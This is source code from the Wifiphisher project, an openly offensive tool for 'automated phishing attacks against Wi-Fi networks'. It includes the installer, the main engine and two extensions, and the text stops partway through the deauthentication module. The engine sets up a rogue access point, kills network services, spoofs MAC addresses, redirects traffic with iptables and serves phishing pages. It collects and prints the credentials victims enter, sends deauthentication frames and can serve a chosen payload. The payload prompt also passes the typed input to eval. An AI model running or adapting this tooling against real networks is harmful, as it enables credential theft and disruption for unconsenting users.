File: setup.py

#!/usr/bin/env python3
r"""
                     _  __ _       _     _     _
                    (_)/ _(_)     | |   (_)   | |
  ((.))    __      ___| |_ _ _ __ | |__  _ ___| |__   ___ _ __
    |      \ \ /\ / / |  _| | '_ \| '_ \| / __| '_ \ / _ \ '__|
   /_\      \ V  V /| | | | | |_) | | | | \__ \ | | |  __/ |
  /___\      \_/\_/ |_|_| |_| .__/|_| |_|_|___/_| |_|\___|_|
 /     \                    | |
                            |_|  Version {}
"""



import os
import sys
import shutil
import tempfile
import distutils.sysconfig
import distutils.ccompiler

from distutils.errors import CompileError, LinkError
from setuptools import Command, find_packages, setup
from textwrap import dedent

import wifiphisher.common.constants as constants

try:
    raw_input  # Python 2
    sys.exit("Please use Python 3 to install Wifiphisher.")
except NameError:
    pass  # Python 3


class CleanCommand(Command):
    """Custom clean command to tidy up the project root."""
    user_options = []
    def initialize_options(self):
        pass
    def finalize_options(self):
        pass
    def run(self):
        os.system('rm -vrf ./build ./dist ./*.pyc ./*.tgz ./*.egg-info')

# code for checking if libnl-dev and libnl-genl-dev exist
LIBNL_CODE = dedent("""
#include <netlink/netlink.h>
#include <netlink/genl/genl.h>
int main(int argc, char* argv[])
{
   struct nl_msg *testmsg;
   testmsg = nlmsg_alloc();
   nlmsg_free(testmsg);
   return 0;
}
""")

# code for checking if openssl library exist
OPENSSL_CODE = dedent("""
#include <openssl/ssl.h>
#include <openssl/err.h>
int main(int argc, char* argv[])
{
    SSL_load_error_strings();
    return 0;
}
""")

LIBNAME_CODE_DICT = {
    "netlink": LIBNL_CODE,
    "openssl": OPENSSL_CODE
}


def check_required_library(libname, libraries=None, include_dir=None):
    """
    Check if the required shared library exists

    :param libname: The name of shared library
    :type libname: str
    :return True if the required shared lib exists else false
    :rtype: bool
    """
    build_success = True
    tmp_dir = tempfile.mkdtemp(prefix='tmp_' + libname + '_')
    bin_file_name = os.path.join(tmp_dir, 'test_' + libname)
    file_name = bin_file_name + '.c'
    with open(file_name, 'w') as filep:
        filep.write(LIBNAME_CODE_DICT[libname])
    compiler = distutils.ccompiler.new_compiler()
    distutils.sysconfig.customize_compiler(compiler)
    try:
        compiler.link_executable(
            compiler.compile([file_name],
                             include_dirs=include_dir),
            bin_file_name,
            libraries=libraries,
        )
    except CompileError:
        build_success = False
    except LinkError:
        build_success = False
    finally:
        shutil.rmtree(tmp_dir)
    if build_success:
        return True
    err_msg = "The development package for " + \
               libname + " is required " + \
               "for the compilation of roguehostapd. " + \
               "Please install it and " + \
               "rerun the script (e.g. on Debian-based systems " \
               "run: apt-get install " 
    if libname == "openssl":
        err_msg += "libssl-dev"
    else:
        err_msg += "libnl-3-dev libnl-genl-3-dev"
    sys.exit(err_msg) 

def check_dnsmasq():
    """
    Try to install dnsmasq on host machine if not present.

    :return: None
    :rtype: None
    """

    if not os.path.isfile("/usr/sbin/dnsmasq"):
        sys.exit("dnsmasq not found in /usr/sbin/dnsmasq. " + 
              "Please install dnsmasq and rerun the script " +
              "(e.g. on Debian-based systems: " +
              "apt-get install dnsmasq)")

# setup settings
NAME = "wifiphisher"
AUTHOR = "sophron"
AUTHOR_EMAIL = "sophron@latthi.com"
URL = "https://github.com/wifiphisher/wifiphisher"
DESCRIPTION = "Automated phishing attacks against Wi-Fi networks"
LICENSE = "GPL"
KEYWORDS = ["wifiphisher", "evil", "twin", "phishing"]
PACKAGES = find_packages(exclude=["docs", "tests"])
INCLUDE_PACKAGE_DATA = True
VERSION = "1.4"
CLASSIFIERS = ["Development Status :: 5 - Production/Stable",
               "License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)",
               "Natural Language :: English", "Operating System :: Unix",
               "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7",
               "Programming Language :: Python :: 2 :: Only", "Topic :: Security",
               "Topic :: System :: Networking", "Intended Audience :: End Users/Desktop",
               "Intended Audience :: System Administrators",
               "Intended Audience :: Information Technology"]
ENTRY_POINTS = {"console_scripts": ["wifiphisher = wifiphisher.pywifiphisher:run"]}
INSTALL_REQUIRES = ["pbkdf2", "scapy", "tornado>=5.0.0", "roguehostapd", "pyric"]
DEPENDENCY_LINKS = \
["http://github.com/wifiphisher/roguehostapd/tarball/master#egg=roguehostapd-1.9.0", \
"http://github.com/sophron/pyric/tarball/master#egg=pyric-0.5.0"]
CMDCLASS = {"clean": CleanCommand,}
LIB_NL3_PATH = '/usr/include/libnl3'
LIB_SSL_PATH = '/usr/include/openssl'

check_dnsmasq()
check_required_library("netlink", ["nl-3", "nl-genl-3"],
                       [LIB_NL3_PATH])
check_required_library("openssl", ["ssl"],
                       [LIB_SSL_PATH])
shutil.rmtree('tmp')

# run setup
setup(name=NAME, author=AUTHOR, author_email=AUTHOR_EMAIL, description=DESCRIPTION,
      license=LICENSE, keywords=KEYWORDS, packages=PACKAGES,
      include_package_data=INCLUDE_PACKAGE_DATA, version=VERSION, entry_points=ENTRY_POINTS,
      install_requires=INSTALL_REQUIRES, dependency_links=DEPENDENCY_LINKS,
      classifiers=CLASSIFIERS, url=URL, cmdclass=CMDCLASS)

print(__doc__.format(VERSION))  # print the docstring located at the top of this file



File: wifiphisher/__init__.py




File: wifiphisher/pywifiphisher.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# pylint: skip-file




import argparse
import curses
import fcntl
import logging
import logging.config
import os
import signal
import socket
import struct
import subprocess
import sys
import time
from shutil import copyfile
from subprocess import PIPE, Popen, check_output
from threading import Thread

import wifiphisher.common.accesspoint as accesspoint
import wifiphisher.common.extensions as extensions
import wifiphisher.common.firewall as firewall
import wifiphisher.common.globals as universal
import wifiphisher.common.interfaces as interfaces
import wifiphisher.common.macmatcher as macmatcher
import wifiphisher.common.opmode as opmode
import wifiphisher.common.phishinghttp as phishinghttp
import wifiphisher.common.phishingpage as phishingpage
import wifiphisher.common.recon as recon
import wifiphisher.common.tui as tui
import wifiphisher.common.victim as victim

from six.moves import range, input

from wifiphisher.common.constants import (BIRTHDAY, CHANNEL, DEAUTH_EXTENSION, DEFAULT_EXTENSIONS,
                                          DEV, DN, G, HANDSHAKE_VALIDATE_EXTENSION,
                                          INTERFERING_PROCS, KNOWN_BEACONS_EXTENSION,
                                          LOGGING_CONFIG, LURE10_EXTENSION, MAC_PREFIX_FILE,
                                          NETWORK_GW_IP, NEW_YEAR, O, PORT, R, ROGUEHOSTAPDINFO,
                                          SSL_PORT, T, W, WEBSITE, WPSPBC)


logger = logging.getLogger(__name__)


def parse_args():
    # Create the arguments
    parser = argparse.ArgumentParser()

    # Interface selection
    parser.add_argument(
        "-i",
        "--interface",
        help=("Manually choose an interface that supports both AP and monitor " +
              "modes for spawning the rogue AP as well as mounting additional " +
              "Wi-Fi attacks from Extensions (i.e. deauth). " +
              "Example: -i wlan1"))
    parser.add_argument(
        "-eI",
        "--extensionsinterface",
        help=("Manually choose an interface that supports monitor mode for " +
              "deauthenticating the victims. " + "Example: -eI wlan1"))
    parser.add_argument(
        "-aI",
        "--apinterface",
        type=opmode.validate_ap_interface,
        help=("Manually choose an interface that supports AP mode for  " +
              "spawning the rogue AP. " + "Example: -aI wlan0"))
    parser.add_argument(
        "-iI",
        "--internetinterface",
        help=("Choose an interface that is connected on the Internet" +
              "Example: -iI ppp0"))
    parser.add_argument(
        "-pI",
        "--protectinterface",
        nargs='+',
        help=("Specify the interface(s) that will have their connection protected (i.e. NetworkManager will be prevented from controlling them). " +
              "Example: -pI wlan1 wlan2"))
    parser.add_argument(
        "-mI",
        "--mitminterface",
        help=("Choose an interface that is connected on the Internet in order to perform a MITM attack. All other interfaces will be protected." +
              "Example: -mI wlan1"))

    # MAC address randomization
    parser.add_argument(
        "-iAM",
        "--mac-ap-interface",
        help=("Specify the MAC address of the AP interface"))
    parser.add_argument(
        "-iEM",
        "--mac-extensions-interface",
        help=("Specify the MAC address of the extensions interface"))
    parser.add_argument(
        "-iNM",
        "--no-mac-randomization",
        help=("Do not change any MAC address"),
        action='store_true')
    parser.add_argument(
        "-kN",
        "--keepnetworkmanager",
        action='store_true',
        help=("Do not kill NetworkManager"))
    parser.add_argument(
        "-nE",
        "--noextensions",
        help=("Do not load any extensions."),
        action='store_true')
    parser.add_argument(
        "-nD",
        "--nodeauth",
        help=("Skip the deauthentication phase."),
        action='store_true')
    parser.add_argument(
        "-dC",
        "--deauth-channels", 
        nargs="+",
        type=int,
        help=("Channels to deauth. " +
              "Example: --deauth-channels 1,3,7"))
    parser.add_argument(
        "-e",
        "--essid",
        help=("Enter the ESSID of the rogue Access Point. " +
              "This option will skip Access Point selection phase. " +
              "Example: --essid 'Free WiFi'"))
    parser.add_argument(
        "-dE",
        "--deauth-essid",
        help=("Deauth all the BSSIDs in the WLAN with that ESSID."))
    parser.add_argument(
        "-p",
        "--phishingscenario",
        help=("Choose the phishing scenario to run." +
              "This option will skip the scenario selection phase. " +
              "Example: -p firmware_upgrade"))
    parser.add_argument(
        "-pK",
        "--presharedkey",
        help=("Add WPA/WPA2 protection on the rogue Access Point. " +
              "Example: -pK s3cr3tp4ssw0rd"))
    parser.add_argument(
        "-hC",
        "--handshake-capture",
        help=("Capture of the WPA/WPA2 handshakes for verifying passphrase. " + 
              "Requires cowpatty. " +
              "Example : -hC capture.pcap"))
    parser.add_argument(
        "-qS",
        "--quitonsuccess",
        help=("Stop the script after successfully retrieving one pair of "
              "credentials"),
        action='store_true')
    parser.add_argument(
        "-lC",
        "--lure10-capture",
        help=("Capture the BSSIDs of the APs that are discovered during "
              "AP selection phase. This option is part of Lure10 attack."),
        action='store_true')
    parser.add_argument(
        "-lE",
        "--lure10-exploit",
        help=("Fool the Windows Location Service of nearby Windows users "
              "to believe it is within an area that was previously captured "
              "with --lure10-capture. Part of the Lure10 attack."))
    parser.add_argument(
        "--logging",
        help="Log activity to file",
        action="store_true")
    parser.add_argument(
        "-dK",
        "--disable-karma",
        help="Disables KARMA attack",
        action="store_true") 
    parser.add_argument(
        "-lP",
        "--logpath",
        default=None,
        help="Determine the full path of the logfile.")
    parser.add_argument(
        "-cP",
        "--credential-log-path",
        help="Determine the full path of the file that will store any captured credentials",
        default=None)
    parser.add_argument(
        "--payload-path",
        help=("Payload path for scenarios serving a payload"))
    parser.add_argument("-cM", "--channel-monitor",
                        help="Monitor if target access point changes the channel.",
                        action="store_true")
    parser.add_argument("-wP", "--wps-pbc",
                        help="Monitor if the button on a WPS-PBC Registrar is pressed.",
                        action="store_true")
    parser.add_argument("-wAI", "--wpspbc-assoc-interface",
                        help="The WLAN interface used for associating to the WPS AccessPoint.",
                        )
    parser.add_argument(
        "-kB",
        "--known-beacons",
        help="Broadcast a number of beacon frames advertising popular WLANs",
        action='store_true')
    parser.add_argument(
        "-fH",
        "--force-hostapd",
        help="Force the usage of hostapd installed in the system",
        action='store_true')
    parser.add_argument("-pPD",
                        "--phishing-pages-directory",
                        help="Search for phishing pages in this location")
    parser.add_argument(
        "--dnsmasq-conf",
        help="Determine the full path of a custom dnmasq.conf file",
        default='/tmp/dnsmasq.conf')
    parser.add_argument(
        "-pE",
        "--phishing-essid",
        help="Determine the ESSID you want to use for the phishing page")

    return parser.parse_args()


VERSION = "1.4GIT"
args = parse_args()
APs = {}  # for listing APs


def setup_logging(args):
    """
    Setup the logging configurations
    """
    root_logger = logging.getLogger()
    # logging setup
    if args.logging:
        if args.logpath:
            LOGGING_CONFIG['handlers']['file']['filename'] = args.logpath
        logging.config.dictConfig(LOGGING_CONFIG)
        should_roll_over = False
        # use root logger to rotate the log file
        if os.path.getsize(LOGGING_CONFIG['handlers']['file']['filename']) > 0:
            should_roll_over = os.path.isfile(LOGGING_CONFIG['handlers']['file']['filename'])
        should_roll_over and root_logger.handlers[0].doRollover()
        logger.info("Starting Wifiphisher")


def set_ip_fwd():
    """
    Set kernel variables.
    """
    Popen(['sysctl', '-w', 'net.ipv4.ip_forward=1'], stdout=DN, stderr=PIPE)


def set_route_localnet():
    """
    Set kernel variables.
    """
    Popen(
        ['sysctl', '-w', 'net.ipv4.conf.all.route_localnet=1'],
        stdout=DN,
        stderr=PIPE)


def set_channel_range():
    """
    Set channel range accordingly.
    """
    region = time.tzname[time.daylight]

    if "JST" in region:
        print('[' + G + '+' + W + "] " + \
              "JST timezone detected. " + \
              "Setting channel range to 1-14")
        universal.ALL_2G_CHANNELS = list(range(1,15))
        return

    print('[' + G + '+' + W + "] " + \
          "Timezone detected. " + \
          "Setting channel range to 1-13")
    universal.ALL_2G_CHANNELS = list(range(1,14))
    return


def kill_interfering_procs():
    """
    Kill the interfering processes that may interfere the wireless card
    :return None
    :rtype None
    ..note: The interfering processes are referenced by airmon-zc.
    """

    # stop the NetworkManager related services
    # incase service is not installed catch OSError
    try:
        subprocess.Popen(
            ['service', 'network-manager', 'stop'],
            stdout=subprocess.PIPE,
            stderr=DN)
        subprocess.Popen(
            ['service', 'NetworkManager', 'stop'],
            stdout=subprocess.PIPE,
            stderr=DN)
        subprocess.Popen(
            ['service', 'avahi-daemon', 'stop'],
            stdout=subprocess.PIPE,
            stderr=DN)
    except OSError:
        pass

    # Kill any possible programs that may interfere with the wireless card
    proc = Popen(['ps', '-A'], stdout=subprocess.PIPE)
    output = proc.communicate()[0]
    # total processes in the system
    sys_procs = output.splitlines()
    # loop each interfering processes and find if it is running
    for interfering_proc in INTERFERING_PROCS:
        for proc in sys_procs:
            # kill all the processes name equal to interfering_proc
            if interfering_proc in proc.decode('utf-8'):
                pid = int(proc.split(None, 1)[0])
                print('[' + G + '+' + W + "] Sending SIGKILL to " +\
                    interfering_proc)
                os.kill(pid, signal.SIGKILL)


class WifiphisherEngine:
    def __init__(self):
        self.mac_matcher = macmatcher.MACMatcher(MAC_PREFIX_FILE)
        self.network_manager = interfaces.NetworkManager()
        self.template_manager = phishingpage.TemplateManager()
        self.access_point = accesspoint.AccessPoint()
        self.fw = firewall.Fw()
        self.em = extensions.ExtensionManager(self.network_manager)
        self.opmode = opmode.OpMode()
        self.victim = victim.Victims()

    def stop(self):
        if DEV:
            print("[" + G + "+" + W + "] Show your support!")
            print("[" + G + "+" + W + "] Follow us: https://twitter.com/wifiphisher")
            print("[" + G + "+" + W + "] Like us: https://www.facebook.com/Wifiphisher")
        print("[" + G + "+" + W + "] Captured credentials:")
        for cred in phishinghttp.creds:
            logger.info("Credentials: %s", cred)
            print(cred)

        # EM depends on Network Manager.
        # It has to shutdown first.
        self.em.on_exit()
        # AP depends on NM too.
        self.access_point.on_exit()
        try:
             self.network_manager.on_exit()
        except interfaces.InvalidMacAddressError as err:
            print(("[{0}!{1}] {2}").format(R, W, err))
        self.template_manager.on_exit()
        self.fw.on_exit()

        if os.path.isfile('/tmp/wifiphisher-webserver.tmp'):
            os.remove('/tmp/wifiphisher-webserver.tmp')

        print('[' + R + '!' + W + '] Closing')
        sys.exit(0)

    def start(self):

        today = time.strftime("%Y-%m-%d %H:%M")
        print('[' + T + '*' + W + '] Starting Wifiphisher %s ( %s ) at %s' %
              (VERSION, WEBSITE, today))

        # Show some emotions.
        if BIRTHDAY in today:
            print('[' + T + '*' + W + \
            '] Wifiphisher was first released on this day in 2015! ' \
            'Happy birthday!')
        if NEW_YEAR in today:
            print('[' + T + '*' + W + \
            '] Happy new year!')

        # First of - are you root?
        if os.geteuid():
            logger.error("Non root user detected")
            sys.exit('[' + R + '-' + W + '] Please run as root')

        # Set the channel range
        set_channel_range()

        # Parse args
        global args, APs
        args = parse_args()

        # setup the logging configuration
        setup_logging(args)

        if args.phishing_pages_directory:
            # check if the path ends with the proper separator, if not add it
            # this is to prevent problems when joining path with string concatenation
            if args.phishing_pages_directory[-1] != os.path.sep:
                args.phishing_pages_directory += os.path.sep
            phishing_pages_dir = args.phishing_pages_directory
            logger.info("Searching for scenario in %s" % phishing_pages_dir)

        if args.dnsmasq_conf:
            self.access_point.dns_conf_path = args.dnsmasq_conf

        if args.credential_log_path:
            phishinghttp.credential_log_path = args.credential_log_path

        # Handle the chosen interface as an internetInterface in order to 
        # leverage existing functionality.
        # In case `--internetinterface` is also used it will be overwritten with a warning.
        #
        # There are two cases for a provided args.mitminterface:
        #   - In case args.internetinterface is also provided, swap their values so that we can
        #     leverage args.internetinterface functionality but at the same time keep the fact that
        #     it was provided as an argument, in order to be able to warn the user. 
        #
        #   - In case no args.internetinterface is provided, manually set args.mitminterface to a 
        #     specific string to account for further checks.
        if args.mitminterface:
            if args.internetinterface:
                args.internetinterface, args.mitminterface = args.mitminterface, args.internetinterface
            else:
                args.internetinterface = args.mitminterface
                args.mitminterface = "handledAsInternetInterface"

        # Initialize the operation mode manager
        self.opmode.initialize(args)
        # Set operation mode
        self.opmode.set_opmode(args, self.network_manager)

        self.network_manager.start(args)

        # TODO: We should have more checks here:
        # Is anything binded to our HTTP(S) ports?
        # Maybe we should save current iptables rules somewhere

        # get interfaces for monitor mode and AP mode and set the monitor interface
        # to monitor mode. shutdown on any errors
        try:
            if self.opmode.internet_sharing_enabled():
                self.network_manager.internet_access_enable = True
                # Set up an automatic MITM attack if `-mI/--mitminterface` was already present.
                #
                # We are already handling the chosen interface as an internetInterface.
                # Here we are also protecting the rest of the detected interfaces.
                #  (i.e. prevent NetworkManager from managing them)
                # The value of args.mitminterface does not concern us, unless empty. We will be performing
                # all operations using args.internetinterface instead.
                if args.mitminterface:
                    for interface in self.network_manager._name_to_object:
                        if interface != args.internetinterface:
                          self.network_manager.nm_unmanage(interface)
                if self.network_manager.is_interface_valid(
                        args.internetinterface, "internet"):
                    internet_interface = args.internetinterface
                    if interfaces.is_wireless_interface(internet_interface):
                        try:
                          self.network_manager.unblock_interface(
                            internet_interface)
                        except KeyError:
                            # TODO: Find a workaround for managing blocked adapters that do not support nl80211
                            # Calling unblock on internet interfaces might return a `Key Error` if it does not 
                            # support nl80211. This will be a problem if the interface is blocked as it cannot
                            # be unblocked automatically. Let the user know with a warning.
                            logger.warning("Interface {} does not support 'nl80211'. In case it is blocked,\
                                    you must unblock it manually".format(internet_interface))
                logger.info("Selecting %s interface for accessing internet",
                            args.internetinterface)
            # check if the interface for WPS is valid
            if self.opmode.assoc_enabled():
                if self.network_manager.is_interface_valid(
                        args.wpspbc_assoc_interface, "WPS"):
                    logger.info("Selecting %s interface for WPS association",
                                args.wpspbc_assoc_interface)
            if self.opmode.extensions_enabled():
                if args.extensionsinterface and args.apinterface:
                    if self.network_manager.is_interface_valid(
                            args.extensionsinterface, "monitor"):
                        mon_iface = args.extensionsinterface
                        self.network_manager.unblock_interface(mon_iface)
                    if self.network_manager.is_interface_valid(
                            args.apinterface, "AP"):
                        ap_iface = args.apinterface
                else:
                    mon_iface, ap_iface = self.network_manager.get_interface_automatically(
                    )
                # display selected interfaces to the user
                logger.info(
                    "Selecting {} for deauthentication and {} for the rogue Access Point"
                    .format(mon_iface, ap_iface))
                print((
                    "[{0}+{1}] Selecting {0}{2}{1} interface for the deauthentication "
                    "attack\n[{0}+{1}] Selecting {0}{3}{1} interface for creating the "
                    "rogue Access Point").format(G, W, mon_iface, ap_iface))

            if not self.opmode.extensions_enabled():
                if args.apinterface:
                    if self.network_manager.is_interface_valid(
                            args.apinterface, "AP"):
                        ap_iface = args.apinterface
                else:
                    ap_iface = self.network_manager.get_interface(True, False)
                mon_iface = ap_iface

                print((
                    "[{0}+{1}] Selecting {0}{2}{1} interface for creating the "
                    "rogue Access Point").format(G, W, ap_iface))
                logger.info("Selecting {} interface for rogue Access Point"
                            .format(ap_iface))

            # Randomize MAC
            if not args.no_mac_randomization:
                try:
                    new_mac = self.network_manager.set_interface_mac(ap_iface,
                        args.mac_ap_interface)
                    logger.info("Changing {} MAC address to {}".format(
                        ap_iface, new_mac))
                    print("[{0}+{1}] Changing {2} MAC addr (BSSID) to {3}".format(
                        G, W, ap_iface, new_mac))
                    if mon_iface != ap_iface:
                        new_mac = self.network_manager.set_interface_mac(mon_iface,
                                             args.mac_extensions_interface)
                        logger.info("Changing {} MAC address to {}".format(
                            mon_iface, new_mac))
                        print("[{0}+{1}] Changing {2} MAC addr (BSSID) to {3}".format(
                            G, W, ap_iface, new_mac))
                except interfaces.InvalidMacAddressError as err:
                    print(("[{0}!{1}] {2}").format(R, W, err))

            # make sure interfaces are not blocked
            logger.info("Unblocking interfaces")
            self.network_manager.unblock_interface(ap_iface)
            self.network_manager.unblock_interface(mon_iface)
            # set monitor mode only when --essid is not given
            if self.opmode.extensions_enabled() or args.essid is None:
                self.network_manager.set_interface_mode(mon_iface, "monitor")
        except (interfaces.InvalidInterfaceError,
                interfaces.InterfaceCantBeFoundError,
                interfaces.InterfaceManagedByNetworkManagerError) as err:
            logging.exception("The following error has occurred:")
            print(("[{0}!{1}] {2}").format(R, W, err))
            time.sleep(1)
            self.stop()
        if args.protectinterface:
            for interface in args.protectinterface:
                self.network_manager.nm_unmanage(interface)

        if not args.internetinterface and not args.keepnetworkmanager:
            kill_interfering_procs()
            logger.info("Killing all interfering processes")

        if self.opmode.internet_sharing_enabled():
            self.fw.nat(ap_iface, args.internetinterface)
            set_ip_fwd()
        else:
            self.fw.redirect_requests_localhost()
        set_route_localnet()

        print('[' + T + '*' + W + '] Cleared leases, started DHCP, set up iptables')
        time.sleep(1)

        if args.essid:
            essid = args.essid
            channel = str(CHANNEL)
            # We don't have target attacking MAC in frenzy mode
            # That is we deauth all the BSSIDs that being sniffed
            target_ap_mac = None
            enctype = None
        else:
            # let user choose access point
            # start the monitor adapter
            self.network_manager.up_interface(mon_iface)
            ap_info_object = tui.ApSelInfo(mon_iface, self.mac_matcher,
                                           self.network_manager, args)
            ap_sel_object = tui.TuiApSel()
            access_point = curses.wrapper(ap_sel_object.gather_info,
                                          ap_info_object)
            # if the user has chosen a access point continue
            # otherwise shutdown
            if access_point:
                # store choosen access point's information
                essid = access_point.name
                channel = access_point.channel
                target_ap_mac = access_point.mac_address
                enctype = access_point.encryption
            else:
                self.stop()
        # create a template manager object
        self.template_manager = phishingpage.TemplateManager(data_pages=args.phishing_pages_directory)
        # get the correct template
        tui_template_obj = tui.TuiTemplateSelection()
        template = tui_template_obj.gather_info(args.phishingscenario,
                                                self.template_manager)
        logger.info("Selecting {} template".format(
            template.get_display_name()))
        print("[" + G + "+" + W + "] Selecting " +
              template.get_display_name() + " template")

        # payload selection for browser plugin update
        if template.has_payload():
            payload_path = args.payload_path
            # copy payload to update directory
            while not payload_path or not os.path.isfile(payload_path):
                # get payload path
                payload_path = eval(input(
                    "[" + G + "+" + W + "] Enter the [" + G + "full path" + W +
                    "] to the payload you wish to serve: "))
                if not os.path.isfile(payload_path):
                    print('[' + R + '-' + W + '] Invalid file path!')
            print('[' + T + '*' + W + '] Using ' + G + payload_path + W + ' as payload ')
            template.update_payload_path(os.path.basename(payload_path))
            copyfile(payload_path,
                     self.template_manager.template_directory + template.get_payload_path())

        APs_context = []
        for i in APs:
            APs_context.append({
                'channel':
                APs[i][0] or "",
                'essid':
                APs[i][1] or "",
                'bssid':
                APs[i][2] or "",
                'vendor':
                self.mac_matcher.get_vendor_name(APs[i][2]) or ""
            })

        template.merge_context({'APs': APs_context})

        # only get logo path if MAC address is present
        ap_logo_path = False
        if target_ap_mac is not None:
            ap_logo_path = template.use_file(
                self.mac_matcher.get_vendor_logo_path(target_ap_mac))

        template.merge_context({
            'target_ap_channel':
            channel or "",
            'target_ap_essid':
            args.phishing_essid or 
            essid or "",
            'target_ap_bssid':
            target_ap_mac or "",
            'target_ap_encryption':
            enctype or "",
            'target_ap_vendor':
            self.mac_matcher.get_vendor_name(target_ap_mac) or "",
            'target_ap_logo_path':
            ap_logo_path or ""
        })
        # add wps_enable into the template context
        if args.wps_pbc:
            template.merge_context({'wps_pbc_attack': "1"})
        else:
            template.merge_context({'wps_pbc_attack': "0"})

        # We want to set this now for hostapd. Maybe the interface was in "monitor"
        # mode for network discovery before (e.g. when --noextensions is enabled).
        
        self.network_manager.set_interface_mode(ap_iface, "managed")
        # Start AP
        self.network_manager.up_interface(ap_iface)
        self.access_point.interface = ap_iface
        self.access_point.channel = channel
        self.access_point.essid = essid
        if args.force_hostapd:
            print('[' + T + '*' + W + '] Using hostapd instead of roguehostapd.'
                  " Many significant features will be turned off."
                 )
            self.access_point.force_hostapd = True
        if args.wpspbc_assoc_interface:
            wps_mac = self.network_manager.get_interface_mac(
                args.wpspbc_assoc_interface)
            self.access_point.deny_mac_addrs.append(wps_mac)
        if args.presharedkey:
            self.access_point.presharedkey = args.presharedkey
        if self.opmode.internet_sharing_enabled():
            self.access_point.internet_interface = args.internetinterface
        print('[' + T + '*' + W + '] Starting the fake access point...')

        try:
            self.access_point.start(disable_karma=args.disable_karma)
            self.access_point.start_dhcp_dns()
        except BaseException as e:
            if hasattr(e, 'message'):
                print(e.message)
            else:
                print(e)
            self.stop()
        # Start Extension Manager (EM)
        # We need to start EM before we boot the web server
        if self.opmode.extensions_enabled():
            shared_data = {
                'is_freq_hop_allowed': self.opmode.freq_hopping_enabled(),
                'target_ap_channel': channel or "",
                'target_ap_essid': essid or "",
                'target_ap_bssid': target_ap_mac or "",
                'target_ap_encryption': enctype or "",
                'target_ap_logo_path': ap_logo_path or "",
                'rogue_ap_essid': essid or "",
                'rogue_ap_mac': self.network_manager.get_interface_mac(ap_iface),
                'roguehostapd': self.access_point.hostapd_object,
                'APs': APs_context,
                'args': args
            }

            self.network_manager.up_interface(mon_iface)
            self.em.set_interface(mon_iface)
            extensions = DEFAULT_EXTENSIONS
            if args.lure10_exploit:
                extensions.append(LURE10_EXTENSION)
            if args.handshake_capture:
                extensions.append(HANDSHAKE_VALIDATE_EXTENSION)
            if args.nodeauth:
                extensions.remove(DEAUTH_EXTENSION)
            if args.wps_pbc:
                extensions.append(WPSPBC)
            if args.known_beacons:
                extensions.append(KNOWN_BEACONS_EXTENSION)
            if not args.force_hostapd:
                extensions.append(ROGUEHOSTAPDINFO)
            self.em.set_extensions(extensions)
            self.em.init_extensions(shared_data)
            self.em.start_extensions()
        # With configured DHCP, we may now start the web server
        if not self.opmode.internet_sharing_enabled():
            # Start HTTP server in a background thread
            print('[' + T + '*' + W + '] Starting HTTP/HTTPS server at ports ' + str(
                PORT) + ", " + str(SSL_PORT))
            webserver = Thread(
                target=phishinghttp.runHTTPServer,
                args=(NETWORK_GW_IP, PORT, SSL_PORT, template, self.em))
            webserver.daemon = True
            webserver.start()

            time.sleep(1.5)

        # We no longer need mac_matcher
        self.mac_matcher.unbind()

        clients_APs = []
        APs = []

        # Main loop.
        try:
            main_info = tui.MainInfo(VERSION, essid, channel, ap_iface,
                                     self.em, phishinghttp, args)
            tui_main_object = tui.TuiMain()
            curses.wrapper(tui_main_object.gather_info, main_info)
            self.stop()
        except KeyboardInterrupt:
            self.stop()


def run():
    try:
        engine = WifiphisherEngine()
        engine.start()
    except KeyboardInterrupt:
        print(R + '\n (^C)' + O + ' interrupted\n' + W)
        engine.stop()
    except EOFError:
        print(R + '\n (^D)' + O + ' interrupted\n' + W)



File: wifiphisher/extensions/__init__.py




File: wifiphisher/extensions/handshakeverify.py

# pylint: skip-file
"""
Extension that verifies WPA key by precaptured handshake using cowpatty
"""
import subprocess
from collections import defaultdict
import shlex

import wifiphisher.common.extensions as extensions

def get_process_result(command_string):
    command = shlex.split(command_string)
    process = subprocess.Popen(command,
        stdout=subprocess.PIPE,
        universal_newlines=True)
    output = ""
    while True:
        output += process.stdout.readline().strip()
        code = process.poll()
        if code is not None:
            for lines in process.stdout.readlines():
                output += lines.strip()
            break
    return output

def is_valid_handshake_capture(filename):
    command = '/bin/cowpatty -c -r {}'.format(filename)
    output = get_process_result(command)
    return ("Collected all necessary data" in output)

class Handshakeverify(object):

    def __init__(self, data):
        self.capt_file = data.args.handshake_capture
        self.essid = data.target_ap_essid
        self.key_file_path = "/tmp/keyfile.tmp"
        self.key = ""
        self.found = False

    def send_channels(self):
        return []

    def get_packet(self, packet):
        return defaultdict(list)

    def send_output(self):
        if self.key != "" and self.found:
            return ["VALID KEY: " + self.key]
        elif self.key != "" and not self.found:
            return ["INVALID KEY ({})".format(self.key)]
        return ["WAITING FOR WPA KEY POST (ESSID: {})".format(self.essid)]

    def on_exit(self):
        pass

    @extensions.register_backend_funcs
    def psk_verify(self, *list_data):
        self.key = list_data[0]

        keyfile = open(self.key_file_path, "w")
        keyfile.write(self.key + "\n")
        keyfile.close()
        
        command = '/bin/cowpatty -f "{}" -r "{}" -s "{}"'.format(self.key_file_path, self.capt_file, self.essid)

        self.found = False

        output = get_process_result(command)

        if "The PSK is" in output:
            self.found = True

        if self.key != "" and self.found:
            return 'success'
        elif self.key != "" and not self.found:
            return 'fail'
        return 'unknown'




File: wifiphisher/extensions/deauth.py

"""
Extension that sends 3 DEAUTH/DISAS Frames:
 1 from the AP to the client
 1 from the client to the AP
 1 to the broadcast address
"""

import logging
from collections import defaultdict

import scapy.layers.dot11 as dot11
import wifiphisher.common.constants as constants
import wifiphisher.common.globals as universal

logger = logging.getLogger(__name__)

def is_deauth_frame(packet):
    """
    Determine if the sending frame is deauth frame
    :param packet: A scapy.layers.RadioTap object
    :type packet: scapy.layers.RadioTap
    :return: True if the frame is belonged to deauth module
    :rtype: bool
    """
    if packet.subtype == 10 or packet.subtype == 12:
        return True
    return False

class Deauth(object):
    """
    Handles all the deauthentication process.
    """

    def __init__(self, data):
        """
        Setup the class with all the given arguments.

        :param self: A Deauth object
        :param data: Shared data from main engine
        :type self: Deauth
        :type data: tuple
        :return: None
        :rtype: None
        """

        self._observed_clients = set()
        self._should_continue = True
        self._data = data
        # the bssids having the same ESSID
        self._deauth_bssids = dict()
        # channel mapping to the frames list
        self._packets_to_send = defaultdict(list)

    @staticmethod
    def _craft_packet(sender, receiver, bssid):
        """
        Return a list with disassociation packet followed by a
        deauthentication packet

        :param sender: The MAC address of the sender
